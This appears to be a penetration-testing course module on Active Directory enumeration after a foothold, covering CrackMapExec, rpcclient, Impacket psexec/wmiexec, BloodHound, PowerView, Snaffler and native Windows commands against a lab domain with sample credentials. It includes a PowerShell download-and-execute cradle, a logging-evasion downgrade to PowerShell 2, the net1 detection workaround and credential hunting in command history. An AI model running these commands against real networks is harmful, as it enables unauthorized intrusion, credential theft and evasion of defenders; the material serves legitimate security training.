Deeper Down the Rabbit Hole

Enumerating Security Controls

After gaining a foothold, we could use this access to get a feeling for the defensive state of the hosts, enumerate the domain further now that our visibility is not as restricted, and, if necessary, work at "living off the land" by using tools that exist natively on the hosts.

Understanding the protections we may be up against will help inform our decisions regarding tool usage and assist us in planning our course of action by either avoiding or modifying certain tools. Some organizations have more stringent protections than others, and some do not apply security controls equally throughout.

There may be policies applied to certain machines that can make our enumeration more difficult that are not applied on other machines.

Windows Defender

Windows Defender (or Microsoft Defender after the Windows 10 May 2020 Update) has greatly improved over the years and, by default, will block tools such as PowerView. There are ways to bypass these protections. These ways will be covered in other modules. We can use the built-in PowerShell cmdlet Get-MpComputerStatus to get the current Defender status.

Here, we can see that the RealTimeProtectionEnabled parameter is set to True, which means Defender is enabled on the system.

Get-MpComputerStatus

AppLocker

An application whitelist is a list of approved software applications or executables that are allowed to be present and run on a system. The goal is to protect the environment from harmful malware and unapproved software that does not align with the specific business needs of an organization.

AppLocker is Microsoft's application whitelisting solution and gives system administrators control over which applications and files users can run. It provides granular control over executables, scripts, Windows installer files, DLLs, packaged apps, and packed app installers.

It is common for organizations to block cmd.exe and PowerShell.exe and write access to certain directories, but this can all be bypassed.

Organizations also often focus on blocking the PowerShell.exe executable, but forget about the other PowerShell executable locations such as %SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe or PowerShell_ISE.exe.

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

PowerShell Constrained Language Mode

PowerShell Constrained Language Mode locks down many of the features needed to use PowerShell effectively, such as blocking COM objects, only allowing approved .NET types, XAML-based workflows, PowerShell classes, and more. We can quickly enumerate whether we are in Full Language Mode or Constrained Language Mode.

$ExecutionContext.SessionState.LanguageMode

LAPS

The Microsoft Local Administrator Password Solution (LAPS) is used to randomize and rotate local administrator passwords on Windows hosts and prevent lateral movement. We can enumerate what domain users can read the LAPS password set for machines with LAPS installed and what machines do not have LAPS installed.

The LAPSToolkit greatly facilitates this with several functions. One is parsing ExtendedRights for all computers with LAPS enabled. This will show groups specifically delegated to read LAPS passwords, which are often users in protected groups. An account that has joined a computer to a domain receives All Extended Rights over that host, and this right gives the account the ability to read passwords.

Enumeration may show a user account that can read the LAPS password on a host. This can help us target specific AD users who can read LAPS passwords.

Find-LAPSDelegatedGroups

The Find-AdmPwdExtendedRights checks the rights on each computer with LAPS enabled for any groups with read access and users with "All Extended Rights." Users with "All Extended Rights" can read LAPS passwords and may be less protected than users in delegated groups, so this is worth checking for.

Find-AdmPwdExtendedRights

We can use the Get-LAPSComputers function to search for computers that have LAPS enabled when passwords expire, and even the randomized passwords in cleartext if our user has access.

Get-LAPSComputers

Credentialed Enumeration - from Linux

CrackMapExec or NetSh

crackmapexec smb -h

For now, the flags we are interested in are:

  • -u Username The user whose credentials we will use to authenticate

  • -p Password User's password

  • Target (IP or FQDN) Target host to enumerate (in our case, the Domain Controller)

  • --users Specifies to enumerate Domain Users

  • --groups Specifies to enumerate domain groups

  • --loggedon-users Attempts to enumerate what users are logged on to a target, if any

CME - Domain User Enumeration

sudo crackmapexec smb <IP> -u <username> -p <password> --users

We can also obtain a complete listing of domain groups. We should save all of our output to files to easily access it again later for reporting or use with other tools.

CME - Domain Group Enumeration

sudo crackmapexec smb <IP> -u <username> -p <password> --groups

We can begin to note down groups of interest. Take note of key groups like Administrators, Domain Admins, Executives, any groups that may contain privileged IT admins, etc. These groups will likely contain users with elevated privileges worth targeting during our assessment.

CME - Logged On Users

sudo crackmapexec smb <IP> -u <user> -p <password> --loggedon-users

We can also see that our user forend is a local admin because (Pwn3d!) appears after the tool successfully authenticates to the target host.

We can see that the user svc_qualys is logged in, who we earlier identified as a domain admin. It could be an easy win if we can steal this user's credentials from memory or impersonate them.

As we will see later, BloodHound (and other tools such as PowerView) can be used to hunt for user sessions. BloodHound is particularly powerful as we can use it to view Domain User sessions graphically and quickly in many ways. Regardless, tools such as CME are great for more targeted enumeration and user hunting.

CME Share Searching

sudo crackmapexec smb <IP> -u <user> -p <password> --shares

Next, we can dig into the shares and spider each directory looking for files. The module spider_plus will dig through each readable share on the host and list all readable files. Let's give it a try.

sudo crackmapexec smb <IP> -u <user> -p <password> -M spider_plus --share '<shareName>'

When completed, CME writes the results to a JSON file located at /tmp/cme_spider_plus/<ip of host>

SMBMap

SMBMap is great for enumerating SMB shares from a Linux attack host. It can be used to gather a listing of shares, permissions, and share contents if accessible.

Once access is obtained, it can be used to download and upload files and execute remote commands.

SMBMap To Check Access

smbmap -u <user> -p <password> -d <DOMAIN> -H <IP>

Let's do a recursive listing of the directories in the Department Shares share. We can see, as expected, subdirectories for each department in the company.

Recursive List Of All Directories

smbmap -u <user> -p <password> -d <DOMAIN> -H <IP> -R 'Department Shares' --dir-only

rpcclient

Due to SMB NULL sessions (covered in-depth in the password spraying sections) on some of our hosts, we can perform authenticated or unauthenticated enumeration using rpcclient in the INLANEFREIGHT.LOCAL domain. An example of using rpcclient from an unauthenticated standpoint (if this configuration exists in our target domain) would be:

rpcclient -U "" -N <IP>

From here, we can begin to enumerate any number of different things. Let's start with domain users.

rpcclient Enumeration

While looking at users in rpcclient, you may notice a field called rid: beside each user. A Relative Identifier (RID) is a unique identifier (represented in hexadecimal format) utilized by Windows to track and identify objects.

To explain how this fits in, let's look at the examples below:

  • The SID for the INLANEFREIGHT.LOCAL domain is: S-1-5-21-3842939050-3880317879-2865463114.

  • When an object is created within a domain, the number above (SID) will be combined with a RID to make a unique value used to represent the object.

  • So the domain user htb-student with a RID:[0x457] Hex 0x457 would = decimal 1111, will have a full user SID of: S-1-5-21-3842939050-3880317879-2865463114-1111.

  • This is unique to the htb-student object in the INLANEFREIGHT.LOCAL domain and you will never see this paired value tied to another object in this domain or any other.

However, there are accounts that you will notice that have the same RID regardless of what host you are on. Accounts like the built-in Administrator for a domain will have a RID [administrator] rid:[0x1f4], which, when converted to a decimal value, equals 500. The built-in Administrator account will always have the RID value Hex 0x1f4, or 500. This will always be the case. Since this value is unique to an object, we can use it to enumerate further information about it from the domain. Let's give it a try again with rpcclient. We will dig a bit targeting the htb-student user.

rpcclient $> queryuser 0x457

When we searched for information using the queryuser command against the RID 0x457, RPC returned the user information for htb-student as expected.

This wasn't hard since we already knew the RID for htb-student. If we wished to enumerate all users to gather the RIDs for more than just one, we would use the enumdomusers command.

Using it in this manner will print out all domain users by name and RID. Our enumeration can go into great detail utilizing rpcclient. We could even start performing actions such as editing users and groups or adding our own into the domain.

Impacket Toolkit

Impacket is a versatile toolkit that provides us with many different ways to enumerate, interact, and exploit Windows protocols and find the information we need using Python.

Psexec.py

One of the most useful tools in the Impacket suite is psexec.py. Psexec.py is a clone of the Sysinternals psexec executable, but works slightly differently from the original. The tool creates a remote service by uploading a randomly-named executable to the ADMIN$ share on the target host.

It then registers the service via RPC and the Windows Service Control Manager. Once established, communication happens over a named pipe, providing an interactive remote shell as SYSTEM on the victim host.

psexec.py inlanefreight.local/wley:'transporter@4'@172.16.5.125
psexec.py <domain/user>:'<password>'@<IP>

Once we execute the psexec module, it drops us into the system32 directory on the target host. We ran the whoami command to verify, and it confirmed that we landed on the host as SYSTEM.

wmiexec.py

Wmiexec.py utilizes a semi-interactive shell where commands are executed through Windows Management Instrumentation. It does not drop any files or executables on the target host and generates fewer logs than other modules.

After connecting, it runs as the local admin user we connected with (this can be less obvious to someone hunting for an intrusion than seeing SYSTEM executing many commands). This is a more stealthy approach to execution on hosts than other tools, but would still likely be caught by most modern anti-virus and EDR systems.

wmiexec.py inlanefreight.local/wley:'transporter@4'@172.16.5.5
wmiexec.py <domain/user>:'<password>'@<IP

Note that this shell environment is not fully interactive, so each command issued will execute a new cmd.exe from WMI and execute your command. The downside of this is that if a vigilant defender checks event logs and looks at event ID 4688: A new process has been created, they will see a new process created to spawn cmd.exe and issue a command. This isn't always malicious activity since many organizations utilize WMI to administer computers, but it can be a tip-off in an investigation.

Windapsearch

Windapsearch is another handy Python script we can use to enumerate users, groups, and computers from a Windows domain by utilizing LDAP queries.

We have several options with Windapsearch to perform standard enumeration (dumping users, computers, and groups) and more detailed enumeration. The --da (enumerate domain admins group members ) option and the -PU ( find privileged users) options. The -PU option is interesting because it will perform a recursive search for users with nested group membership.

python3 windapsearch.py --dc-ip 172.16.5.5 -u forend@inlanefreight.local -p Klmcargo2 --da
python3 windapsearch.py --dc-ip <DC_IP> -u <user>@<domain> -p <password> --da

To identify more potential users, we can run the tool with the -PU flag and check for users with elevated privileges that may have gone unnoticed. This is a great check for reporting since it will most likely inform the customer of users with excess privileges from nested group membership.

python3 windapsearch.py --dc-ip 172.16.5.5 -u forend@inlanefreight.local -p Klmcargo2 -PU
python3 windapsearch.py --dc-ip <DC_IP> -u <user>@<domain> -p <password> -PU

You'll notice that it performed mutations against common elevated group names in different languages. This output gives an example of the dangers of nested group membership, and this will become more evident when we work with BloodHound graphics to visualize this.

Bloodhound.py

BloodHound is one of, if not the most impactful tools ever released for auditing Active Directory security, and it is hugely beneficial for us as penetration testers.

We can take large amounts of data that would be time-consuming to sift through and create graphical representations or "attack paths" of where access with a particular user may lead.

The tool consists of two parts: the SharpHound collector written in C# for use on Windows systems, or for this section, the BloodHound.py collector (also referred to as an ingestor) and the BloodHound GUI tool which allows us to upload collected data in the form of JSON files.

Once uploaded, we can run various pre-built queries or write custom queries using Cypher language. The tool collects data from AD such as users, groups, computers, group membership, GPOs, ACLs, domain trusts, local admin access, user sessions, computer and user properties, RDP access, WinRM access, etc.

It was initially only released with a PowerShell collector, so it had to be run from a Windows host. Eventually, a Python port (which requires Impacket, ldap3, and dnspython) was released by a community member. This helped immensely during penetration tests when we have valid domain credentials, but do not have rights to access a domain-joined Windows host or do not have a Windows attack host to run the SharpHound collector from.

This also helps us not have to run the collector from a domain host, which could potentially be blocked or set off alerts (though even running it from our attack host will most likely set off alarms in well-protected environments).

Running bloodhound-python -h from our Linux attack host will show us the options available.

bloodhound-python -h

Executing BloodHound.py

sudo bloodhound-python -u '<username>' -p '<password>' -ns <IP> -d <domain> -c all

The -c all flag told the tool to run all checks. Once the script finishes, we will see the output files in the current working directory in the format of <date_object.json>.

Upload the Zip File into the BloodHound GUI

We could then type sudo neo4j start to start the neo4j service, firing up the database we'll load the data into and also run Cypher queries against.

Next, we can type bloodhound from our Linux attack host to start the BloodHound GUI application and upload the data.

HTB credentials:

user == neo4j / pass == HTB_@cademy_stdnt!

We can either upload each JSON file one by one or zip them first with a command such as zip -r ilfreight_bh.zip *.json and upload the Zip file.

We do this by clicking the Upload Data button on the right side of the window (green arrow). When the file browser window pops up to select a file, choose the zip file (or each JSON file) (red arrow) and hit Open.

Now that the data is loaded, we can use the Analysis tab to run queries against the database. These queries can be custom and specific to what you decide using custom Cypher queries. There are many great cheat sheets to help us here. We will discuss custom Cypher queries more in a later section. As seen below, we can use the built-in Path Finding queries on the Analysis tab on the Left side of the window.

The query chosen to produce the map above was Find Shortest Paths To Domain Admins.

Credentialed Enumeration - from Windows

SharpHound/BloodHound, PowerView/SharpView, Grouper2, Snaffler, and some built-in tools useful for AD enumeration.

At this point, we are interested in other misconfigurations and permission issues that could lead to lateral and vertical movement. We are also interested in getting a bigger picture of how the domain is set up, i.e., do any trusts exist with other domains both inside and outside the current forest? We're also interested in pillaging file shares that our user has access to, as these often contain sensitive data such as credentials that can be used to further our access.


The first tool we will explore is the ActiveDirectory PowerShell module. When landing on a Windows host in the domain, especially one an admin uses, there is a chance you will find valuable tools and scripts on the host.

ActiveDirectory PowerShell Module

The ActiveDirectory PowerShell module is a group of PowerShell cmdlets for administering an Active Directory environment from the command line

Before we can utilize the module, we have to make sure it is imported first. The Get-Module cmdlet, which is part of the Microsoft.PowerShell.Core module, will list all available modules, their version, and potential commands for use. This is a great way to see if anything like Git or custom administrator scripts are installed. If the module is not loaded, run Import-Module ActiveDirectory to load it for use.

Discover Modules

Get-Module

Load ActiveDirectory Module

Import-Module ActiveDirectory

Get Domain Info

Get-ADDomain

This will print out helpful information like the domain SID, domain functional level, any child domains, and more. Next, we'll use the Get-ADUser cmdlet. We will be filtering for accounts with the ServicePrincipalName property populated. This will get us a listing of accounts that may be susceptible to a Kerberoasting attack, which we will cover in-depth after the next section.

Get-ADUser

Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

Another interesting check we can run utilizing the ActiveDirectory module, would be to verify domain trust relationships using the Get-ADTrust cmdlet

Checking For Trust Relationships

Get-ADTrust -Filter *

This cmdlet will print out any trust relationships the domain has. We can determine if they are trusts within our forest or with domains in other forests, the type of trust, the direction of the trust, and the name of the domain the relationship is with. This will be useful later on when looking to take advantage of child-to-parent trust relationships and attacking across forest trusts.

Next, we can gather AD group information using the Get-ADGroup cmdlet.

Group Enumeration

Get-ADGroup -Filter * | select name

We can take the results and feed interesting names back into the cmdlet to get more detailed information about a particular group like so:

Get-ADGroup -Identity "Backup Operators"

Now that we know more about the group, let's get a member listing using the Get-ADGroupMember cmdlet.

Group Membership

Get-ADGroupMember -Identity "Backup Operators"

PowerView

PowerView is a tool written in PowerShell to help us gain situational awareness within an AD environment.

Much like BloodHound, it provides a way to identify where users are logged in on a network, enumerate domain information such as users, computers, groups, ACLS, trusts, hunt for file shares and passwords, perform Kerberoasting, and more.

Let's examine some of PowerView's capabilities and see what data it returns. The table below describes some of the most useful functions PowerView offers.

Command

Description

Export-PowerViewCSV

Append results to a CSV file

ConvertTo-SID

Convert a User or group name to its SID value

Get-DomainSPNTicket

Requests the Kerberos ticket for a specified Service Principal Name (SPN) account

Domain/LDAP Functions:

Get-Domain

Will return the AD object for the current (or specified) domain

Get-DomainController

Return a list of the Domain Controllers for the specified domain

Get-DomainUser

Will return all users or specific user objects in AD

Get-DomainComputer

Will return all computers or specific computer objects in AD

Get-DomainGroup

Will return all groups or specific group objects in AD

Get-DomainOU

Search for all or specific OU objects in AD

Find-InterestingDomainAcl

Finds object ACLs in the domain with modification rights set to non-built in objects

Get-DomainGroupMember

Will return the members of a specific domain group

Get-DomainFileServer

Returns a list of servers likely functioning as file servers

Get-DomainDFSShare

Returns a list of all distributed file systems for the current (or specified) domain

GPO Functions:

Get-DomainGPO

Will return all GPOs or specific GPO objects in AD

Get-DomainPolicy

Returns the default domain policy or the domain controller policy for the current domain

Computer Enumeration Functions:

Get-NetLocalGroup

Enumerates local groups on the local or a remote machine

Get-NetLocalGroupMember

Enumerates members of a specific local group

Get-NetShare

Returns open shares on the local (or a remote) machine

Get-NetSession

Will return session information for the local (or a remote) machine

Test-AdminAccess

Tests if the current user has administrative access to the local (or a remote) machine

Threaded 'Meta'-Functions:

Find-DomainUserLocation

Finds machines where specific users are logged in

Find-DomainShare

Finds reachable shares on domain machines

Find-InterestingDomainShareFile

Searches for files matching specific criteria on readable shares in the domain

Find-LocalAdminAccess

Find machines on the local domain where the current user has local administrator access

Domain Trust Functions:

Get-DomainTrust

Returns domain trusts for the current domain or a specified domain

Get-ForestTrust

Returns all forest trusts for the current forest or a specified forest

Get-DomainForeignUser

Enumerates users who are in groups outside of the user's domain

Get-DomainForeignGroupMember

Enumerates groups with users outside of the group's domain and returns each foreign member

Get-DomainTrustMapping

Will enumerate all trusts for the current domain and any others seen.

First up is the Get-DomainUser function. This will provide us with information on all users or specific users we specify.

 Get-DomainUser -Identity <username> -Domain inlanefreight.local | Select-Object -Property name,samaccountname,description,memberof,whencreated,pwdlastset,lastlogontimestamp,accountexpires,admincount,userprincipalname,serviceprincipalname,useraccountcontrol

We can use the Get-DomainGroupMember function to retrieve group-specific information. Adding the -Recurse switch tells PowerView that if it finds any groups that are part of the target group (nested group membership) to list out the members of those groups.

Get-DomainGroupMember -Identity "Domain Admins" -Recurse

Now we know who to target for potential elevation of privileges. Like with the AD PowerShell module, we can also enumerate domain trust mappings.

Get-DomainTrustMapping

We can use the Test-AdminAccess function to test for local admin access on either the current machine or a remote one.

Test-AdminAccess -ComputerName ACADEMY-EA-MS01

Now we can check for users with the SPN attribute set, which indicates that the account may be subjected to a Kerberoasting attack.

Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName

SharpView

PowerView is part of the now deprecated PowerSploit offensive PowerShell toolkit

The tool has been receiving updates by BC-Security as part of their Empire 4 framework. Empire 4 is BC-Security's fork of the original Empire project and is actively maintained as of April 2022.

Another tool worth experimenting with is SharpView, a .NET port of PowerView. Many of the same functions supported by PowerView can be used with SharpView. We can type a method name with -Help to get an argument list.

.\SharpView.exe Get-DomainUser -Help

Here we can use SharpView to enumerate information about a specific user

.\SharpView.exe Get-DomainUser -Identity forend

Though evasion is not in scope for this module, SharpView can be useful when a client has hardened against PowerShell usage or we need to avoid using PowerShell.

Shares

We can use PowerView to hunt for shares and then help us dig through them or use various manual commands to hunt for common strings such as files with pass in the name. This can be a tedious process, and we may miss things, especially in large environments. Now, let's take some time to explore the tool Snaffler and see how it can aid us in identifying these issues more accurately and efficiently.

Snaffler

Snaffler is a tool that can help us acquire credentials or other sensitive data in an Active Directory environment. Snaffler works by obtaining a list of hosts within the domain and then enumerating those hosts for shares and readable directories. Once that is done, it iterates through any directories readable by our user and hunts for files that could serve to better our position within the assessment. Snaffler requires that it be run from a domain-joined host or in a domain-user context.

Snaffler.exe -s -d inlanefreight.local -o snaffler.log -v data

The -s tells it to print results to the console for us, the -d specifies the domain to search within, and the -o tells Snaffler to write results to a logfile. The -v option is the verbosity level.

Snaffler can produce a considerable amount of data, so we should typically output to file and let it run and then come back to it later. It can also be helpful to provide Snaffler raw output to clients as supplemental data during a penetration test as it can help them zero in on high-value shares that should be locked down first.

We may find passwords, SSH keys, configuration files, or other data that can be used to further our access. Snaffler color codes the output for us and provides us with a rundown of the file types found in the shares.

BloodHound

As discussed in the previous section, Bloodhound is an exceptional open-source tool that can identify attack paths within an AD environment by analyzing the relationships between objects

When used correctly and coupled with custom Cipher queries, BloodHound may find high-impact, but difficult to discover, flaws that have been present in the domain for years.

First, we must authenticate as a domain user from a Windows attack host positioned within the network (but not joined to the domain) or transfer the tool to a domain-joined host.

We'll start by running the SharpHound.exe collector from the MS01 attack host.

.\SharpHound.exe -c All --zipfilename ILFREIGHT

Next, we can exfiltrate the dataset to our own VM or ingest it into the BloodHound GUI tool on the attack host (intended as Windows machine in client's network).

Next, click on the Upload Data button on the right-hand side, select the newly generated zip file, and click Open. An Upload Progress window will pop up. Once all .json files show 100% complete, click the X at the top of that window

We can start by typing domain: in the search bar on the top left and choosing INLANEFREIGHT.LOCAL from the results.

Now, let's check out a few pre-built queries in the Analysis tab. The query Find Computers with Unsupported Operating Systems is great for finding outdated and unsupported operating systems running legacy software.

Sometimes we will see hosts that are no longer powered on but still appear as records in AD. We should always validate whether they are "live" or not before making recommendations in our reports. We may write up a high-risk finding for Legacy Operating Systems or a best practice recommendation for cleaning up old records in AD.

We can run the query Find Computers where Domain Users are Local Admin to quickly see if there are any hosts where all users have local admin rights. If this is the case, then any account we control can typically be used to access the host(s) in question, and we may be able to retrieve credentials from memory or find other sensitive data.

Living Off the Land

Env Commands For Host & Network Recon

Basic Enumeration Commands

Command

Result

hostname

Prints the PC's Name

[System.Environment]::OSVersion.Version

Prints out the OS version and revision level

wmic qfe get Caption,Description,HotFixID,InstalledOn

Prints the patches and hotfixes applied to the host

ipconfig /all

Prints out network adapter state and configurations

set

Displays a list of environment variables for the current session (ran from CMD-prompt)

echo %USERDOMAIN%

Displays the domain name to which the host belongs (ran from CMD-prompt)

echo %logonserver%

Prints out the name of the Domain controller the host checks in with (ran from CMD-prompt)

We can cover the information above with one command systeminfo.

systeminfo

Harnessing PowerShell

Cmd-Let

Description

Get-Module

Lists available modules loaded for use.

Get-ExecutionPolicy -List

Set-ExecutionPolicy Bypass -Scope Process

This will change the policy for our current process using the -Scope parameter. Doing so will revert the policy once we vacate the process or terminate it. This is ideal because we won't be making a permanent change to the victim host.

Get-ChildItem Env: | ft Key,Value

Return environment values such as key paths, users, computer information, etc.

Get-Content $env:APPDATA\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt

With this string, we can get the specified user's PowerShell history. This can be quite helpful as the command history may contain passwords or point us towards configuration files or scripts that contain passwords.

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('URL to download the file from'); <follow-on commands>"

This is a quick and easy way to download a file from the web using PowerShell and call it from memory.

Powershell event logging was introduced as a feature with Powershell 3.0 and forward. With that in mind, we can attempt to call Powershell version 2.0 or older. If successful, our actions from the shell will not be logged in Event Viewer.

Downgrade Powershell

powershell.exe -version 2

Let's check and see if we are still writing logs. The primary place to look is in the PowerShell Operational Log found under Applications and Services Logs > Microsoft > Windows > PowerShell > Operational. All commands executed in our session will log to this file. The Windows PowerShell log located at Applications and Services Logs > Windows PowerShell is also a good place to check.

Checking Defenses

The next few commands utilize the netsh and sc utilities to help us get a feel for the state of the host when it comes to Windows Firewall settings and to check the status of Windows Defender.

Firewall Checks

netsh advfirewall show allprofiles

Windows Defender Check (from CMD.exe)

sc query windefend

Below we will check the status and configuration settings with the Get-MpComputerStatus cmdlet in PowerShell.

Get-MpComputerStatus

We can tell how often scans are run, if the on-demand threat alerting is active, and more. This is also great info for reporting. Often defenders may think that certain settings are enabled or scans are scheduled to run at certain intervals. If that's not the case, these findings can help them remediate those issues.

Am I Alone?

When landing on a host for the first time, one important thing is to check and see if you are the only one logged in. If you start taking actions from a host someone else is on, there is the potential for them to notice you.

qwinsta

Network Information

Networking Commands

Description

arp -a

Lists all known hosts stored in the arp table.

ipconfig /all

Prints out adapter settings for the host. We can figure out the network segment from here.

route print

Displays the routing table (IPv4 & IPv6) identifying known networks and layer three routes shared with the host.

netsh advfirewall show allprofiles

Displays the status of the host's firewall. We can determine if it is active and filtering traffic.

Using arp -a and route print will not only benefit in enumerating AD environments, but will also assist us in identifying opportunities to pivot to different network segments in any environment. These are commands we should consider using on each engagement to assist our clients in understanding where an attacker may attempt to go following initial compromise.

Windows Management Instrumentation (WMI)

Windows Management Instrumentation (WMI) is a scripting engine that is widely used within Windows enterprise environments to retrieve information and run administrative tasks on local and remote hosts.

Quick WMI checks

Command

Description

wmic qfe get Caption,Description,HotFixID,InstalledOn

Prints the patch level and description of the Hotfixes applied

wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:List

Displays basic host information to include any attributes within the list

wmic process list /format:list

A listing of all processes on host

wmic ntdomain list /format:list

Displays information about the Domain and Domain Controllers

wmic useraccount list /format:list

Displays information about all local accounts and any domain accounts that have logged into the device

wmic group list /format:list

Information about all local groups

wmic sysaccount list /format:list

Dumps information about any system accounts that are being used as service accounts.

Below we can see information about the domain and the child domain, and the external forest that our current domain has a trust with. This cheatsheet has some useful commands for querying host and domain info using wmic.

In Powershell

wmic ntdomain get Caption,Description,DnsForestName,DomainName,DomainControllerAddress

Net Commands

Net commands can be beneficial to us when attempting to enumerate information from the domain. These commands can be used to query the local host and remote hosts, much like the capabilities provided by WMI. We can list information such as:

  • Local and domain users

  • Groups

  • Hosts

  • Specific users in groups

  • Domain Controllers

  • Password requirements

We'll cover a few examples below. Keep in mind that net.exe commands are typically monitored by EDR solutions and can quickly give up our location if our assessment has an evasive component.

Table of Useful Net Commands

Command

Description

net accounts

Information about password requirements

net accounts /domain

Password and lockout policy

net group /domain

Information about domain groups

net group "Domain Admins" /domain

List users with domain admin privileges

net group "domain computers" /domain

List of PCs connected to the domain

net group "Domain Controllers" /domain

List PC accounts of domains controllers

net group <domain_group_name> /domain

User that belongs to the group

net groups /domain

List of domain groups

net localgroup

All available groups

net localgroup administrators /domain

List users that belong to the administrators group inside the domain (the group Domain Admins is included here by default)

net localgroup Administrators

Information about a group (admins)

net localgroup administrators [username] /add

Add user to administrators

net share

Check current shares

net user <ACCOUNT_NAME> /domain

Get information about a user within the domain

net user /domain

List all users of the domain

net user %username%

Information about the current user

net use x: \computer\share

Mount the share locally

net view

Get a list of computers

net view /all /domain[:domainname]

Shares on the domains

net view \computer /ALL

List shares of a computer

net view /domain

List of PCs of the domain

Net Commands Trick

If you believe the network defenders are actively logging/looking for any commands out of the normal, you can try this workaround to using net commands. Typing net1 instead of net will execute the same functions without the potential trigger from the net string.

Dsquery

Dsquery is a helpful command-line tool that can be utilized to find Active Directory objects. The queries we run with this tool can be easily replicated with tools like BloodHound and PowerView, but we may not always have those tools at our disposal

dsquery will exist on any host with the Active Directory Domain Services Role installed, and the dsquery DLL exists on all modern Windows systems by default now and can be found at C:\Windows\System32\dsquery.dll.

Dsquery DLL

All we need is elevated privileges on a host or the ability to run an instance of Command Prompt or PowerShell from a SYSTEM context. Below, we will show the basic search function with dsquery and a few helpful search filters.

User Search

dsquery user

Computer Search

dsquery computer

We can use a dsquery wildcard search to view all objects in an OU, for example.

Wildcard Search

dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"

We can, of course, combine dsquery with LDAP search filters of our choosing. The below looks for users with the PASSWD_NOTREQD flag set in the userAccountControl attribute.

Users With Specific Attributes Set (PASSWD_NOTREQD)

dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl

The below search filter looks for all Domain Controllers in the current domain, limiting to five results.

Searching for Domain Controllers

dsquery * -filter "(userAccountControl:1.2.840.113556.1.4.803:=8192)" -limit 5 -attr sAMAccountName

LDAP Filtering Explained

You will notice in the queries above that we are using strings such as userAccountControl:1.2.840.113556.1.4.803:=8192. These strings are common LDAP queries that can be used with several different tools too, including AD PowerShell, ldapsearch, and many others. Let's break them down quickly:

userAccountControl:1.2.840.113556.1.4.803: Specifies that we are looking at the User Account Control (UAC) attributes for an object. This portion can change to include three different values we will explain below when searching for information in AD (also known as Object Identifiers (OIDs).

=8192 represents the decimal bitmask we want to match in this search. This decimal number corresponds to a corresponding UAC Attribute flag that determines if an attribute like password is not required or account is locked is set. These values can compound and make multiple different bit entries. Below is a quick list of potential values.

OID match strings

OIDs are rules used to match bit values with attributes, as seen above. For LDAP and AD, there are three main matching rules:

  1. 1.2.840.113556.1.4.803

When using this rule as we did in the example above, we are saying the bit value must match completely to meet the search requirements. Great for matching a singular attribute.

  1. 1.2.840.113556.1.4.804

When using this rule, we are saying that we want our results to show any attribute match if any bit in the chain matches. This works in the case of an object having multiple attributes set.

  1. 1.2.840.113556.1.4.1941

This rule is used to match filters that apply to the Distinguished Name of an object and will search through all ownership and membership entries.

Logical Operators

When building out search strings, we can utilize logical operators to combine values for the search. The operators & | and ! are used for this purpose. For example we can combine multiple search criteria with the & (and) operator like so: (&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=64))

The above example sets the first criteria that the object must be a user and combines it with searching for a UAC bit value of 64 (Password Can't Change).

A user with that attribute set would match the filter. You can take this even further and combine multiple attributes like (&(1) (2) (3)). The ! (not) and | (or) operators can work similarly.

For example, our filter above can be modified as follows: (&(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=64))

This would search for any user object that does NOT have the Password Can't Change attribute set. When thinking about users, groups, and other objects in AD, our ability to search with LDAP queries is pretty extensive.

List attributes of a user

dsquery * "OU=User Accounts,DC=your,DC=domain,DC=com" -filter "(samaccountname=USER)" -attr *

Last updated